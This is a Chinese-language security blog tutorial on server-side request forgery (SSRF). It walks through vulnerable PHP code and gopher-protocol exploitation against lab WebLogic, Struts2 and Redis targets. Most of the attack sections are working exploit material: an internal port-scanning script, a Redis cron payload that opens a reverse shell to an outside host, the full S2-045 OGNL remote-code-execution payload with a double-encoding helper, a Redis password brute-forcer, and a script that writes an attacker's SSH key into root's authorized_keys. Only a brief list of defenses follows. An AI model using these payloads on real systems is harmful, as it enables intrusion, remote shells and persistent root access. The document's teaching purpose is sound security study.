原创 | 深入浅出SSRF
点击蓝字
关注我们
漏洞原理
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等
引发SSRF漏洞的函数
file_get_contents()
以下来自菜鸟教程
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
语法
file_get_contents(path,include_path,context,start,max_length)
参数 | 描述 |
path | 必需。规定要读取的文件。 |
include_path | 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。 |
context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。 |
start | 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。 |
max_length | 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。 |
file_get_contents是可以请求http协议的,需要将allow_url_fopen设置为on
漏洞代码
<?php
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='./images/'.rand().'.img';\
file_put_contents($filename,$content);
$img="<img src=\"".$filename."\"/>";
echo $filename;
}
echo $img;
?>
代码意义为获取远程文件的值,随后放到$filename中,但是如果我们file_get_concents请求的是内网环境呢?
如果内网中不存在此ip
我们发现file_get_contents已经报错
如果存在此ip
我们发现报错已经不在,由此可以判断内网中存活主机以及端口
fsockopen()
函数使用详情
fsockopen函数主要就是主机端口,根据是否连接成功判断主机端口是否开放
漏洞代码
<?php
$host=$_GET['url'];
$port=$_GET['port'];
# fsockopen(主机名称,端口号码,错误号的接受变量,错误提示的接受变量,超时时间)
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
# fwrite() 函数将内容写入一个打开的文件中。
fwrite($fp, $out);
# 函数检测是否已到达文件末尾 ,文件末尾(EOF)
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
如果存在
虽然乱码了,但是可以明显看出5.5.29的版本号,mysql的数据库,说明端口是开启的
访问445端口,一片空白说明也是访问成功的
如果端口未开启
报错
curl_exec()
漏洞代码
<?php
$url = $_GET['url'];
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>
访问url,初始化url对象,之后执行代码,短短三行
但是危害很大
可以配合dict协议进行端口指纹探测
Gopher协议在SSRF中的利用
定义:
gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面
使用curl --version会显示支持的版本协议
Gopher协议格式 :
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher的默认端口是70
如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
使用nc开启监听 kali中使用curl连接nc
curl gopher://192.168.1.103:4444/abcd
会发现a被吃掉了,所以发送数据时前面要加一个_来代替第一个字符
使用Gopher协议发送get请求
实验代码:
<?php
echo "Hello ".$_GET["name"]."\n"
?>
当我们输入name他就会和hello连接输出
于是我们需要发送get请求数据包,使用burp进行抓包
数据包中最重要的是这两条,其他的我们去掉
因为gopher协议需要url编码,将空格,问号进行url编码之后将这两行变为一行,换行用%0d%0a替代,因为回车和换行不是一个东西,所以需要用%0d代表回车%0a代表换行并且最后也要加$0d%0a因为http包留一行表示解释,使用curl时80的端口也要写,不然gopher默认是70
curl gopher://192.168.1.105:80/_GET%20/ssrf/get.php%3Fname=k0e1y%20HTTP/1.1%0d%0aHost:%20192.168.1.105%0d%0a
成功回显
使用Gopher协议发送post请求
实验代码:
<?php
echo "Hello ".$_POST["name"]."\n";
?>
使用hackbar发送post请求并用burp抓包
但是会发现post请求比get请求明显多了两个数据头,代表着数据的格式和数据的长度,所以必须加
POST /ssrf/post.php HTTP/1.1
Host: 192.168.1.105
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
name=k0e1y
注意Content-Length和name之前间隔一行是必不可少的,这一行表示头的结束,name后加表示数据的结束,所以Content-Length后需要加两个%0d%0a
POST%20%2Fssrf%2Fpost.php%20HTTP%2F1.1%0d%0AHost%3A%20192.168.1.105%0d%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0d%0AContent-Length%3A%2010%0d%0A%0d%0Aname%3Dk0e1y%0d%0a
那我们了解了这个两个协议在实际中应该如何使用呢?
我们回到curl_exec.php使用他来执行gopher协议
使用gopher访问get.php发现并未成功
失败代码:
http://192.168.1.105/ssrf/curl_exec.php?url=gopher://192.168.1.105:80/_GET%20/ssrf/get.php%3fname=k0e1y%20HTTP/1.1%0d%0AHost:%20192.168.1.105%0d%0A
测试发现在发送数据的时候已经解码了,于是gopher识别不到url编码报错,需要进行二次编码
http://192.168.1.105/ssrf/curl_exec.php?url=gopher%3A%2F%2F192.168.1.105%3A80%2F_GET%2520%2Fssrf%2Fget.php%253fname%3Dk0e1y%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.105%250d%250A
成功出现回显并且执行了get.php
利用weblogic的SSRF漏洞探测内网并反弹shell
环境搭建用到了docker,使用的是Vulhub上的靶场环境,我用的Centos 7系统
安装
1、需要的安装包
yum install -y yum-utils
2、阿里云镜像
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
3、安装docker ce社区版 ee企业版
yum install docker-ce docker-ce-cli containerd.io docker-compose-plugin
4、启动docker
systemctl start docker
5、测试
docker run hello-world
6、查看当前镜像
docker images
卸载
yum remove docker-ce docker-ce-cli containerd.io
rm -rf /var/lib/docker
rm -rf /var/lib/containerd
docker-compose安装
#安装pip
yum -y install epel-release
yum -y install python3-pip
#升级pip
pip3 install --upgrade pip
#安装docker-compose
pip3 install docker-compose
#检查docker是否安装成功
docker-compose -version
下载vulhub镜像包
git clone https://github.com/vulhub/vulhub.git
下载完解压文件,进入weblogic/ssrf目录,执行docker-compose up -d
加载成功之后输入docker ps发现进程已经成功运行
我们用浏览器访问
http://192.168.229.15:7001/uddiexplorer/SearchPublicRegistries.jsp
使用burp进行抓包,并且发送到Repeater
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.229.15:7001
Content-Length: 175
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.229.15:7001
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.229.15:7001/uddiexplorer/SearchPublicRegistries.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=Q5rSvbHh4ZGnWvHrbL2yzJyBKYvkS53pqdNJLyWHh4hhPzyWbQCp!1416426367
Connection: close
operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi&rdoSearch=name&txtSearchname=123&txtSearchkey=123&txtSearchfor=123&selfor=Business+location&btnSubmit=Search
我们已知参数中的operator存在ssrf漏洞,他会去请求主机,请求成功(主机存在)和请求
失败(主机不存在)是不用的回显。于是可以用来探测内网主机和端口,主机需要自己探测,后面会给出exp,这里我们先通过docker exec -it 29033c14f8e3 /bin/bash命令进入weblogic的运行环境先查看一下正确的ip,其中it后面的参数为docker ps中weblogic的id
探测主机的80端口是否开启
operator=http://172.18.0.3:80
回显中显示不能连接到http服务器说明端口未开启
查看redis的ip探测6379端口
回显已经没有连接失败的标识了说明端口存在,可以用intruder功能来探测开放端口
使用exp来探测端口
#encoding=utf-8
#
# 使用用法为:python ssrf.py -u www.baidu.com -n 136.12.70
# -u :url地址
# -n :内网地址,只写前三位即可
import httplib
import threading
import Queue
import json
import sys
import re,getopt,logging
lock = threading.Lock()
queue = Queue.Queue()
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
def scan_http_service(url_):
while True:
try:
item = queue.get(timeout=1.0)
except:
break
try:
#print url_
conn = httplib.HTTPConnection(url_, timeout=3)
url = 'http://%s:%s' % (item['ip'], item['port'])
conn.request(method='POST',
url='/uddiexplorer/SearchPublicRegistries.jsp',
body='operator=%s&rdoSearch=name&txtSearchname=123&txtSearchkey=123&txtSearchfor=123&selfor=Business+location&btnSubmit=Search' % url,
headers=headers)
#print 'operator=%s&rdoSearch=name&txtSearchname=1111&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % url
html_doc = conn.getresponse().read()
conn.close()
if html_doc.find('which did not have a valid SOAP') > -1 or html_doc.find('404 error code') > -1:
lock.acquire()
sys.stdout.write('[OPEN] %s\n' % (url) )
lock.release()
continue
except:
pass
url = ''
in_addr = ''
opts, args = getopt.getopt(sys.argv[1:], "u:n:")
for op, value in opts:
print op,value
if op == "-u":
url = value
if op == "-n":
in_addr = value
for port in [21,22,8080,1433,3306,80,6379]:
for i in range(1, 255):
queue.put({'ip': '%s.%s' % (in_addr,i), 'port': port})
threads = []
for i in range(10):
t = threading.Thread(target=scan_http_service,args=(url,))
t.start()
threads.append(t)
for t in threads:
t.join()
print u'检测完成'
这是python2的脚本,使用方法
python2 ssrf.py -u 192.168.229.15:7001 -n 172.18.0
最后c段不用填软件会自动运行
这里为c段的范围,建议测试的时候将范围改小(1-5)左右,或者将虚拟机配置增大,否则检测时间会很长很长
检测结果
利用redis计划任务提权
如果目标服务器存在redis未授权访问,就可以利用任务计划反弹shell
在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
首先需要在nc上开启监听接受返回的shell
然后利用redis-cli写入任务计划,修改命令中的IP和端口
set 1 "\n* * * * * bash -i >& /dev/tcp/192.168.229.14/8888 0>&1 \n"
config set dir /var/spool/cron/root
config set dbfilename crontab
save
注意任务计划反弹shell方法仅适用于Centos
Ubuntu 不能用的原因如下:
因为默认redis写文件后是644权限,但是Ubuntu要求执行定时任务文件
/var/spool/cron/crontabs/<username>权限必须是600才会执行,否则会报错
(root)INSECUREMODE (mode 0600 expected)而Centos的定时任务文件
/var/spool/cron/<username>权限 644 也可以执行
因为 redis 保存 RDB 会存在乱码,在Ubuntu 上会报错,而在Centos上不会报错
由于系统的不同,crontrab 定时文件位置也不同:
Centos 的定时任务文件在
/var/spool/cron/<username>
Ubuntu 的定时任务文件在
/var/spool/cron/crontabs/<username>
payload编码前
http://172.18.0.2:6379/test
set 1 "\n* * * * * bash -i >& /dev/tcp/192.168.229.14/8888 0>&1 \n"
config set dir /var/spool/cron/root
config set dbfilename crontab
save
aaaa
url编码后
operator=http%3A%2F%2F172.18.0.2%3A6379%2Ftestset%201%20%22%5Cn*%20*%20*%20*%20*%20%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.229.14%2F8888%200%3E%261%20%5Cn%22config%20set%20dir%20%2Fvar%2Fspool%2Fcron%2Frootconfig%20set%20dbfilename%20crontabsaveaaaa&rdoSearch=name&txtSearchname=123&txtSearchkey=123&txtSearchfor=123&selfor=Business+location&btnSubmit=Search
nc成功监听到shell
遇到问题的解决办法
把kali防火墙关闭,重启docker(因为出问题没重启docker复现时候卡了两个小时,重启解决一切问题.jpg)
利用gopher协议执行s2-045漏洞
s2-045漏洞复现
使用docker-compose搭建s2-045环境,访问网页,其他的东西不用填,点击submit,用burp进行抓包放到repeater
将原来的Contnet-Type删除,换上poc
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
代码执行成功,已经是root权限,由于这是在docker环境中没有nc,实际环境是可以用nc
反弹shell的
使用gopher协议进行代码执行
我们将最重要的三段提取出来
将这三段进行url编码
POST%20%2FdoUpload.action%20HTTP%2F1.1%0D%0AHost%3A%20192.168.229.15%3A8080%0D%0AContent-Type%3A%20%25%7B(%23nike%3D'multipart%2Fform-data').(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3D'id').(%23iswin%3D(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3D(%23iswin%3F%7B'cmd.exe'%2C'%2Fc'%2C%23cmd%7D%3A%7B'%2Fbin%2Fbash'%2C'-c'%2C%23cmd%7D)).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%23ros%3D(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2C%23ros)).(%23ros.flush())%7D%0d%0a
为了方便测试我这里将GET到的url打印出来
<?php
$url = $_GET['url'];
var_dump($url);
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>
发现并没有得到我们想要执行的命令,只是把url打印了出来,这是因为get接收参数之后会自动url解码,但是gopher协议需要url编码,所以没有得到想要的结果,所以我们只要进行二次编码让他解码之后正好是处于第一次url编码的状态就可以了
POST%2520%252FdoUpload.action%2520HTTP%252F1.1%250D%250AHost%253A%2520192.168.229.15%253A8080%250D%250AContent-Type%253A%2520%2525%257B(%2523nike%253D%27multipart%252Fform-data%27).(%2523dm%253D%2540ognl.OgnlContext%2540DEFAULT_MEMBER_ACCESS).(%2523_memberAccess%253F(%2523_memberAccess%253D%2523dm)%253A((%2523container%253D%2523context%255B%27com.opensymphony.xwork2.ActionContext.container%27%255D).(%2523ognlUtil%253D%2523container.getInstance(%2540com.opensymphony.xwork2.ognl.OgnlUtil%2540class)).(%2523ognlUtil.getExcludedPackageNames().clear()).(%2523ognlUtil.getExcludedClasses().clear()).(%2523context.setMemberAccess(%2523dm)))).(%2523cmd%253D%27id%27).(%2523iswin%253D(%2540java.lang.System%2540getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%2523cmds%253D(%2523iswin%253F%257B%27cmd.exe%27%252C%27%252Fc%27%252C%2523cmd%257D%253A%257B%27%252Fbin%252Fbash%27%252C%27-c%27%252C%2523cmd%257D)).(%2523p%253Dnew%2520java.lang.ProcessBuilder(%2523cmds)).(%2523p.redirectErrorStream(true)).(%2523process%253D%2523p.start()).(%2523ros%253D(%2540org.apache.struts2.ServletActionContext%2540getResponse().getOutputStream())).(%2540org.apache.commons.io.IOUtils%2540copy(%2523process.getInputStream()%252C%2523ros)).(%2523ros.flush())%257D%250d%250a
这样已经执行id命令成功,得到了我们想要的结果
自己写了个没有技术含量的exp,仅仅帮助节省了手工二次编码的时间
import requests
from urllib import parse
ssrf_url='http://192.168.1.105/ssrf/curl_exec.php?url='
in_url='gopher://192.168.229.15:8080/_'
poc='''POST /doUpload.action HTTP/1.1
Host: 192.168.229.15:8080
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'''
poc=parse.quote(poc)
poc=poc.replace('%0A','%0D%0A')
poc=poc+'%0D%0A'
poc=parse.quote(poc)
final_url=ssrf_url+in_url+poc
response=requests.get(final_url)
print(response.text)
利用SSRF漏洞渗透Redis
REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型
未授权访问状态下
redis无登录密码的情况下可以未授权访问
在centos启动redis
docker run -itd -p6379:6379 redis
运行Kali安装redisapt-get install redis-server
kali启动redis服务service redis-server start
kali启动抓包服务tcpdump -i eth0 port 6379 -w redis.pcap
kali连接centos系统的redisredis-cli -h 192.168.229.15,并对他进行get获取数据,随后将抓到的包保存下来放到wireshark进行分析
我们追踪他的tcp流
从中可以看到我们发送的数据
其中这是redis的RESP协议通信,*2代表数组有两个分别是get和key,$3为字符串有三个长度,并且协议中最后都是以'\r'n'结尾,具体如下
序列化协议:
客户端-服务端之间交互的是序列化后的协议数据。在Redis中,协议数据分为不同的类型,每种类型的数据均以CRLF(\r\n)结束,通过数据的首字符区分类型。
2.2、inline command:这类数据表示Redis命令,首字符为Redis命令的字符,格式为 str1 str2 str3 。如:exists key1,命令和参数以空格分隔。
2.3、simple string:首字符为'+',后续字符为string的内容,且该string 不能包含'\r'或者'\n'两个字符,最后以'\r\n'结束。如:'+OK\r\n',表示”OK”,这个string数据。
2.4、bulk string:bulk string 首字符为'$',紧跟着的是string数据的长度,'\r\n'后面是内容本身(包含’\r’、’\n’等特殊字符),最后以'\r\n'结束
我们将这段记录下来,并且通过url进行编码,使用gopher协议进行发送(记住还是要把加上%0d)
发现回复了111,key的值就是我们设置的111返回正常
利用ssrf进行redis的访问
经过gopher协议测试成功访问redis,那我们通过ssrf试一下呢
通过192.168.229.1对192.168.229.15:6379进行未授权访问
payload
http://192.168.229.1/ssrf/curl_exec.php?url=gopher%3A%2F%2F192.168.229.15%3A6379%2F_*2%250D%250A%25243%250D%250Aget%250D%250A%25243%250D%250Akey%250D%250Aquit%250D%250A
记住需要2次编码,而且通过网页上的ssrf最后还需要
加个quit一起编码,不然无回显
有登录密码
设置redis密码
config set requirepass 12345
登录redis
auth 12345
这种情况下需要redis抓包爆破,直接附上脚本,大家
可以自己抓包尝试
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib
url = "http://192.168.229.1/ssrf/curl_exec.php?url="
gopher = "gopher://192.168.229.15:6379/_"
def get_password():
f = open("password.txt","r")
return f.readlines()
def encoder_url(data):
encoder = ""
for single_char in data:
# 先转为ASCII
encoder += str(hex(ord(single_char)))
encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
return encoder
mark = 0
for password in get_password():
# 攻击脚本
data = """auth %s
quit
""" % password
# 二次编码
encoder = encoder_url(encoder_url(data))
# 生存payload
payload = url + urllib.quote(gopher,'utf-8') + encoder
# 发起请求
request = urllib2.Request(payload)
response = urllib2.urlopen(request).read()
if response.count("+OK") > 1:
print "find password : " + password
mark = 1
if mark == 0 :print "not found"
至于为什么最后的判断需要页面返回的ok大于1,因为我们只要登陆成功之后才能输入命令,但是我们是ssrf,登陆成功后还需要quit命令才能回显,所以会出现两个ok,一个是auth的一个是quit的
写ssh-keygen公钥然后使用私钥登陆
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key
实现条件需要目标redis是root权限,我们把正在运行的服务器停掉service redis-server stop
使用root权限启动redissudo -u root /usr/bin/redis-server /etc/redis/redis.conf
查看redis状态 ps -ef |grep redis
停止redis /etc/init.d/redis-server stop
使用ssh-keygen -t rsa生成秘钥
注意:kali默认安装的redis只允许本机访问,需要修改配置文件中的bind,使其他主机也能访问redis
vim /etc/redis/redis.conf
添加一个自身的内网地址
配置kali的ssh服务
打开配置文件vim /etc/ssh/sshd_config,将以下三个选项取消注释
重启ssh
systemctl restart ssh
开启自启动ssh
systemctl enable ssh
查看ssh状态
systemctl status ssh
重点注意:kali中/root下的文件是隐藏的需要ls -la进行查看,他会自带一个.ssh文件,不过不是文件夹,需要我们给他删除然后自己创建一下文件mkdir .ssh
exp如下仅适用于无密码的未授权访问
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib
url = "http://192.168.229.1/ssrf/curl_exec.php?url="
gopher = "gopher://192.168.229.14:6379/_"
# 攻击脚本
data = """config set dir /root/.ssh/
config set dbfilename authorized_keys
set 1 "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1FDc+1NcjvkM3gcTtNWbXRx1fSp3cGjNkfli+/8ZmrD7yBU4zeFBkoPHORkDQOw5BMaf2JoRx4HB6Bf8Ey/Inawfn0jR8Le3i+zUmDwt/sy/6I73TNLkjEEbfCdnclcGHLf0txmTr5yB2XtJ15pg21Knhp18kkYrzKZV353g27gs/EJbZSXgU2s10pIjdkGncQ+JkCfIeOZpmNYwXHX1fGLxtVXnkqOJZoLEEiG0gFXhOkv5hFfa2EETaUYp52pvEFOncvilgLw7LMFmwJP/aXAj1hOvfYll+tL0W3m6j2tx5NZmu2S0BCR/sonusVS0UHT2zK8NxrUnH9MQcAyKr root@localhost.localdomain\\n\\n"
save
quit
"""
def encoder_url(data):
encoder = ""
for single_char in data:
# 先转为ASCII
encoder += str(hex(ord(single_char)))
encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
return encoder
# 二次编码
encoder = encoder_url(encoder_url(data))
#print encoder
# 生存payload
payload = url + urllib.quote(gopher,'utf-8') + encoder
print payload
# 发起请求
request = urllib2.Request(payload)
response = urllib2.urlopen(request).read()
print response
将截图中的那一块修改为自己生成的公钥(后缀带pub的文件,cat一下就行),两边的\\n\\n不要删除
exp执行成功之后,我们通过ssh连接
ssh root@192.168.229.14 无需密码直接为root权限
SSRF漏洞的其他协议
file协议
file协议可以读计算机上的各种文件
dict协议
探测redis信息,说明存在未授权访问
设置key值
获取key值
dict中的命令都要通过冒号进行分割
同样也可以进行任务执行反弹shell,不过要进行16进制编码之后转成shellcode才可以用
SSRF漏洞防御
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file://,gopher://等引起的问题。
总结
本文主要讲了ssrf的gopher协议,以及对redis数据库的一些利用技巧,写文章花了不少时间,也踩了不少坑,有很多细节是网上找不到的,希望我的经验能帮到大家。
往期推荐
活动 | SecIN喊你来投稿啦!投稿即有惊喜好礼~更有机会稿费翻倍!